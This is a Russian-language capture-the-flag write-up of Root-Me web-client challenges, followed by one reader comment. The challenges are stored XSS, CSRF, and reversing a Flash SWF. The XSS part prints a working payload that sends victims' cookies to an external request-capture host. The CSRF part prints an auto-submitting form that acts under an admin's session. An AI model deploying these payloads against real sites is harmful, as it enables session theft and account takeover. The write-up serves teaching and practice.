image

В данной статье угоняем куки через Stored XSS, разбираемся с CSRF атакой и реверсим Flash SWF файл. Ссылки на предыдущие статьи:

Часть 1: Web — javascript authentication, obfuscation и native code. Решение задач с r0от-мi Web— Client.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

XSS Stored


image

По заданию нам нужно захватить куки администратрора. Открываем сайт. Видим форму, где нужно ввести заголовок и сообщение. Введем, чтобы посмотреть, как наш ввод отобразится на форме.

image

image

Так. Попробуем проверить на XSS. В качестве пэйлоада я буду испольовать обычный алерт.

<script>alert(1);</script>

Как можно видеть, нам отобразилось окошко алерта, то есть внедренный код javascript сработал.

image

Так как это хранимые XSS, то есть возможность угнать куки других пользователей. Если у вас нету своего собственного сервера в глобальной сети, то можно воспольоваться этим сайтом.

image

Здесь нам дают адрес, по которому мы сможем наблюдать все запросы на этот адрес. Теперь внедрим следующий пэйлоад.

<script>
document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>");
</script>

Когда пользовательоткроет страницу с этим кодом, агент попытается загрузить картинку и выполнит запрос по данному адресу. В качестве параметра он будет использовать свой куки. Мы же потом посмотрим на параметр, с которым пришел запрос — это и будет куки.

image

Чем опасен угон куки? Вставив куки для этого сайта в своем браузере мы войдем на сайт от имени этого пользователя, пропустив процесс аутентификации.

CSRF


image

По заданию нам нужно активировать свой аккаунт. Зайдем посмотрим на сайт. Нас встречает форма авторизации.

image

Выбираем регистрацию, и регистрируемся на сайте.

image

Нам говорят, что мы получим полноправный доступ, когда админ активирует наш аккаунт.

image

image

При попытке самостоятельно поставить галочку, получаем сообщение, что мы не админ.

image

Но мы можем контактировать с админом, то есть он откроет страницу. Смысл CSRF в том, что пользователь выполняет действия, сам не зная об этом. То есть мы можем заставить его отправить уже заполненную форму. Проверим нет ли здесь токена, который выставляется и проверяется сервером — как защита от таких атак. Он каждый раз разный.

image

Здесь нет токена. Из этой формы выйдет вот такой пэйлоад.

<form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
	<input type="text" name="username" value="ralf">
	<input type="checkbox" name="status" checked >	
	<button type="submit">Submit</button>
</form>
<script>document.getElementById("form").submit()</script>

Здесь уже заполненная нашими данными форма, с выстовленной галочкой активации. Javascript код отправит ее после загрузки страницы, соответсвенно от имени просмотревшего ее администратора.

image

image

Спустя некоторое время обновим страницу. Наш аккаунт был активирован.

image

Flash


image

Нам нужно найти валидный код. Откроем страницу. Нас встречает какой-то кодовый механизм.

image

Давайте глянем код.

image

Видим, что на JS проверяется преобразованный код, который мы введем. Осталось узнать алгоритм преобразования. Так же в коде ей ссылка на swf файл. Давайте его скачаем.

image

Видим, что это сжатый Macromedia Flash. Для реверса таких файлов я предпочитаю использовать JPEXS.

image

Находим основной скрипт.

image

Давайте разбирать его.

image

Он загружает данные из другого вложенного скрипта, ксорит их с ключем и отправляет на исполнение. Сделаем это. Сначала найдем эти данные.

image

А затем экспортируем в отдельный файл.

image

Теперь проксорим их с ключом.

f = open('1_RootMe_EmbeddedSWF.bin', 'r')
swf_crypt = f.read()
f.close()

key = 'rootmeifyoucan'
swf_decrypt = ''

for i in range(len(swf_crypt)):
	swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)]))

f = open('NewEmbedded.swf', 'w')
f.write(swf_decrypt)
f.close()

Получаем новый файл. Открываем его в JPEXS.

image

Находим основной скрипт и начинаем анализировать.

image

Так как все равно придется писать код. Буду публиковать его части.

but1 = 11266775
but2 = 11146309
but3 = 7884889
but4 = 8049718
Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'

Здесь мы видим код каждой кнопки и ее расположение по координатам. Это нам поможет понять у какой кнопки какой код.

image

Отсюда узнаем, что длина кода должна быть равна или быть больше 12. И что итоговое значение — MD5 хеш от перевернутой строки.

from hashlib import *
import itertools

for var in itertools.product('1234', repeat=12):
...
...
		if len(code) >= 12:
			break
h = md5(code[::-1].encode()).hexdigest()

image

Вместо того чтобы описывать, я просто приведу этот код на python’e.


	code = ""
	for char in var:
		if char == '1':
			code += format((but1 >> 16 & 0xFF), '02X') 
		elif char == '2':
			code += format((but2 >> 8 & 0xFF), '02X')
		elif char == '3':
			code += format((but3 >> 0 & 0xFF), '02X')
		elif char == '4':
			if len(code) > 1:
				code = code[0:-1]

Таким образом, нам нужно перебрать 4^12 = 16777216 вариантов. Пустяк.


from hashlib import *
import itertools

but1 = 11266775
but2 = 11146309
but3 = 7884889
but4 = 8049718
Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'
for var in itertools.product('1234', repeat=12):
	code = ""
	for char in var:
		if char == '1':
			code += format((but1 >> 16 & 0xFF), '02X') 
		elif char == '2':
			code += format((but2 >> 8 & 0xFF), '02X')
		elif char == '3':
			code += format((but3 >> 0 & 0xFF), '02X')
		elif char == '4':
			if len(code) > 1:
				code = code[0:-1]
		if len(code) >= 12:
			break
	h = md5(code[::-1].encode()).hexdigest()
	print("Password: %s, code: %s" % (var, code))
	if h == Hash:
		print('Correct password:' + "".join(var))
		Break

image

Получили пароль и код.

Дальше больше и сложнее… Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Комментарии (1)


  1. focuz
    27.11.2019 11:49

    Откуда такое неуважение к одному из самых клевых БЕСПЛАТНЫХ порталов для обучения хакингу? В правилах портала четко написано:

    The publishing of solutions, with a free access outside of the portal is forbidden and penalised.
    (https://www.root-me.org/en/Information/Legal-Disclaimer/)

    И этот концепт вполне понятен, гораздо лучше и быстрее прокачивашься в скилах решая сам, чем читая описание решения. Даже если ты застрял, у портала есть IRC и форум для помощи(лучше IRC, там быстро отвечают).